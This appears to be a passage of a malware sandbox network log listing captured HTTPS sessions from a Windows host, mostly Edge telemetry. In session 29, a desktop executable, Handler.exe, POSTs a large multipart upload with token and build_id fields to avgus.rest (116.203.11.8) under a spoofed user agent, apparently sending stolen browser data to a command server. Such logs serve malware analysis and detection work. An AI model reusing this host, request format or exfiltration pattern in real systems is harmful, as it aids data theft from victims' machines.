AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:35 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:35 UTC	16355	OUT	Data Raw: 30 63 32 4e 79 5a 57 56 75 58 33 56 79 62 46 39 69 62 47 39 6a 61 33 4e 66 59 6e 6c 77 59 58 4e 7a 5a 57 52 66 59 32 39 31 62 6e 52 6c 63 69 42 4a 54 6c 52 46 52 30 56 53 4c 48 4e 74 59 58 4a 30 63 32 4e 79 5a 57 56 75 58 32 52 76 64 32 35 73 62 32 46 6b 58 32 4a 73 62 32 4e 72 63 31 39 6a 62 33 56 75 64 47 56 79 49 45 6c 4f 56 45 56 48 52 56 49 73 63 32 31 68 63 6e 52 7a 59 33 4a 6c 5a 57 35 66 5a 47 39 33 62 6d 78 76 59 57 52 66 59 6d 78 76 59 32 74 7a 58 32 4a 35 63 47 46 7a 63 32 56 6b 58 32 4e 76 64 57 35 30 5a 58 49 67 53 55 35 55 52 55 64 46 55 69 78 7a 62 57 46 79 64 48 4e 6a 63 6d 56 6c 62 6c 39 74 59 57 78 32 5a 58 4a 30 61 58 4e 70 62 6d 64 66 59 6d 78 76 59 32 74 7a 58 32 4e 76 64 57 35 30 5a 58 49 67 53 55 35 55 52 55 64 46 55 69 78 68 59 6e Data Ascii: 0c2NyZWVuX3VybF9ibG9ja3NfYnlwYXNzZWRfY291bnRlciBJTlRFR0VSLHNtYXJ0c2NyZWVuX2Rvd25sb2FkX2Jsb2Nrc19jb3VudGVyIElOVEVHRVIsc21hcnRzY3JlZW5fZG93bmxvYWRfYmxvY2tzX2J5cGFzc2VkX2NvdW50ZXIgSU5URUdFUixzbWFydHNjcmVlbl9tYWx2ZXJ0aXNpbmdfYmxvY2tzX2NvdW50ZXIgSU5URUdFUixhYn
2025-01-13 19:18:35 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:37 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 13 Jan 2025 19:18:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49892	108.139.47.92	443	7792	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:36 UTC	1012	OUT	GET /b2?rn=1736795913608&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=17238CFC5C3C6BEA3601998F5DB66AEC&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=13426d7622b7ba457aabe811736795916; XID=13426d7622b7ba457aabe811736795916
2025-01-13 19:18:36 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Mon, 13 Jan 2025 19:18:36 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 e60ffc5cb1078c77d0ecabfc06b14cd0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P1 X-Amz-Cf-Id: M5Eo4e89opAX9FyvKQyxKB1ttFLUjbqhpdAchuSVM3WAbUmLEYcmAQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49909	116.203.11.8	443	5532	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:37 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----tjw47yus0r1n7qie3eus User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: avgus.rest Content-Length: 393697 Connection: Keep-Alive Cache-Control: no-cache
2025-01-13 19:18:37 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 74 6a 77 34 37 79 75 73 30 72 31 6e 37 71 69 65 33 65 75 73 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 64 62 62 33 62 62 37 39 34 64 64 35 35 36 36 31 63 31 31 33 32 63 37 61 65 37 62 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 74 6a 77 34 37 79 75 73 30 72 31 6e 37 71 69 65 33 65 75 73 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 74 6a 77 34 37 79 75 73 30 72 31 6e 37 71 69 65 33 65 75 73 0d 0a 43 6f 6e 74 Data Ascii: ------tjw47yus0r1n7qie3eusContent-Disposition: form-data; name="token"f8dbb3bb794dd55661c1132c7ae7b7e6------tjw47yus0r1n7qie3eusContent-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------tjw47yus0r1n7qie3eusCont
2025-01-13 19:18:37 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:37 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:37 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:37 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:37 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:37 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:37 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:37 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:37 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:38 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 13 Jan 2025 19:18:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49912	20.110.205.119	443	7792	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:37 UTC	1296	OUT	GET /c.gif?rnd=1736795913608&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=c0f35d339ab542aa94084b3aa634ebb4&activityId=c0f35d339ab542aa94084b3aa634ebb4&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=A4B615E135A0419192104F65C658D827&MUID=17238CFC5C3C6BEA3601998F5DB66AEC HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=17238CFC5C3C6BEA3601998F5DB66AEC; _EDGE_S=F=1&SID=01844A4CCF296D9901245F3FCEA86C5D; _EDGE_V=1; SM=T; msnup=%7B%22cnex%22%3A%22no%22%7D
2025-01-13 19:18:37 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 08 Jan 2025 16:37:23 GMT Accept-Ranges: bytes ETag: "dda11c98eb61db1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=17238CFC5C3C6BEA3601998F5DB66AEC; domain=.msn.com; expires=Sat, 07-Feb-2026 19:18:37 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=17238CFC5C3C6BEA3601998F5DB66AEC; domain=c.msn.com; expires=Sat, 07-Feb-2026 19:18:37 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Mon, 20-Jan-2025 19:18:37 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Mon, 13-Jan-2025 19:28:37 GMT; path=/; SameSite=None; Secure; Date: Mon, 13 Jan 2025 19:18:37 GMT Connection: close Content-Length: 42
2025-01-13 19:18:37 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49918	20.42.73.26	443	7792	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:38 UTC	1061	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736795916284&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11865 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=17238CFC5C3C6BEA3601998F5DB66AEC; _EDGE_S=F=1&SID=01844A4CCF296D9901245F3FCEA86C5D; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
